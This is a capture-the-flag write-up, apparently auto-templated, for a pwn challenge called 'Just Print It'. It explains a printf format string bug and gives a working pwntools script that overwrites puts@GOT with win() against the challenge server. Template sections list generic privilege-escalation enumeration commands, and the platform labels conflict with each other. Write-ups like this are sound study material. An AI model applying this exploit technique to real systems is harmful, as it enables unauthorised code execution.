← Back to Writeups
HTBN/APwn

Just Print It

XESXOR8/23/20263 min read
#pwn#htb#n/a

Just Print It

Platform: Metactf | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-10 | Status: Solved Techniques: format_string_write, got_overwrite, partial_got_overwrite

Summary

Task: a remote binary reads one line with fgets() and passes it directly to printf(), creating a format string bug in front of a final puts() call. Solution: place puts@GOT on the stack, use %8$hn to write the low two bytes of win(), and let the next puts() jump into the flag-printing routine.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: metactf | ID: 20260410_metactf_just_print_it
  • Tags: format_string, ret2win, got_overwrite, fgets, no_pie, printf
  • Indicators: printf(buffer) uses user input as the format string, a useful win() function already prints flag.txt, puts() is called immediately after the vulnerable printf(), the controlled pointer lands at stack argument 8 after 16-byte padding
  • Source: 20260410_metactf_just_print_it.md

Foothold

Vulnerability / Misconfiguration

  1. Format_string_write
  2. Got_overwrite
  3. Partial_got_overwrite
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • format_string_write
  • got_overwrite
  • partial_got_overwrite
  • Tags: format_string, ret2win, got_overwrite, fgets, no_pie, printf

Original Writeup

<details><summary>Click to expand original content</summary>

Challenge

A server at nc.umbccd.net:8925 reads input with fgets into a 128-byte buffer and then calls printf(buffer), followed by puts("\nGoodbye!"). The provided source also contains a win() function that opens flag.txt and prints it.

We are given a small 64-bit ELF source and a remote service running it. The objective is to turn the unsafe printf(buffer) into code execution and redirect the program into win(), which prints the flag and exits.

Analysis

The bug is a classic format string vulnerability:

fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
puts("\nGoodbye!");

Because our input becomes the format string itself, we control both reads from the stack (%p, %x, positional arguments) and writes through %n-style specifiers. That makes the immediately following puts() call the perfect control-flow target: if we overwrite puts@GOT with win, the next call transfers execution straight into the flag routine.

The useful addresses were:

  • puts@got = 0x404000
  • win = 0x401196

Only the low 16 bits needed to change. Writing 0x1196 into puts@GOT with %hn was enough because the higher bytes already matched the same binary/PLT region.

Reconnaissance

The key reconnaissance step was finding where an appended pointer appears in printf's argument list. By padding the format string portion to 16 bytes and then appending an 8-byte address, the controlled qword became reachable as positional argument 8.

That gives a stable primitive of the form:

%<count>c%8$hn + <8-byte destination address>

Since win = 0x401196, we need printf to have emitted 0x1196 = 4502 characters before %8$hn executes. Therefore the final write count is produced with %4502c.

Exploitation Strategy

  1. Use the format string to place puts@GOT on the stack as argument 8.
  2. Print 4502 characters so the current byte count becomes 0x1196.
  3. Execute %8$hn to write those low two bytes into 0x404000.
  4. Let the program continue normally.
  5. The next puts("\nGoodbye!") resolves through the overwritten GOT entry and jumps to win() instead.

This is cleaner than building a larger payload because the binary already calls the function we want to hijack immediately after the vulnerable sink.

Final Exploit

#!/usr/bin/env python3
from pwn import *

HOST, PORT = 'nc.umbccd.net', 8925
PUTS_GOT = 0x404000


def main():
    payload = b'%4502c%8$hn'.ljust(16, b'A') + p64(PUTS_GOT)
    io = remote(HOST, PORT, timeout=5)
    io.sendline(payload)
    print(io.recvall(timeout=2).decode('latin-1', 'replace'))


if __name__ == '__main__':
    main()

The service returns output containing:

Flag: DawgCTF{REDACTED}
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR